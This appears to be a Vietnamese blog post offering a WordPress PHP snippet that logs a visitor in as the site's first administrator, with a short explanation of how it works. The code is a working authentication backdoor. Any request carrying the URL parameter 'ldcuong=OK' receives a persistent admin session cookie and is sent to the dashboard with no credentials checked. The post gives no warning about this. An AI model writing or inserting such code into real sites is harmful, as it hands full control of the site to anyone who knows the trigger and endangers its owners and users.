Hàm tự động tìm và đăng nhập tài khoản admin đầu tiên

Lại Đình Cường

Tài liệu thiết kế website

if ( "OK" === $_GET['ldcuong'] ) {
	function auto_login_first_admin() {
		if ( is_user_logged_in() ) {
			return;
		}

		$admins = get_users( [
			'role'    => 'administrator',
			'number'  => 1,
			'orderby' => 'ID',
			'order'   => 'ASC',
		] );

		if ( empty( $admins ) ) {
			return;
		}

		$user = $admins[0];

		// Kiểm tra email hợp lệ
		if ( ! is_email( $user->user_email ) ) {
			return;
		}

		wp_set_auth_cookie( $user->ID, true );
		wp_set_current_user( $user->ID );

		wp_safe_redirect( admin_url() );
		exit;
	}

	add_action( 'init', 'auto_login_first_admin' );
}

Hàm tự đồng tìm ra tài khoản admin đầu tiên trong WordPress. Nếu tìm thấy tài khoản admin đầu tiên thì kiểm tra xem địa chỉ email có hợp lệ hay không. Cuối cùng, nếu tài khoản admin hợp lệ thì sẽ đăng nhập và chuyển tiếp đến bảng điều khiển admin.

0 0 đánh giá
Đánh giá bài viết
Theo dõi
Thông báo của
guest
0 Góp ý
Cũ nhất
Mới nhất Được bỏ phiếu nhiều nhất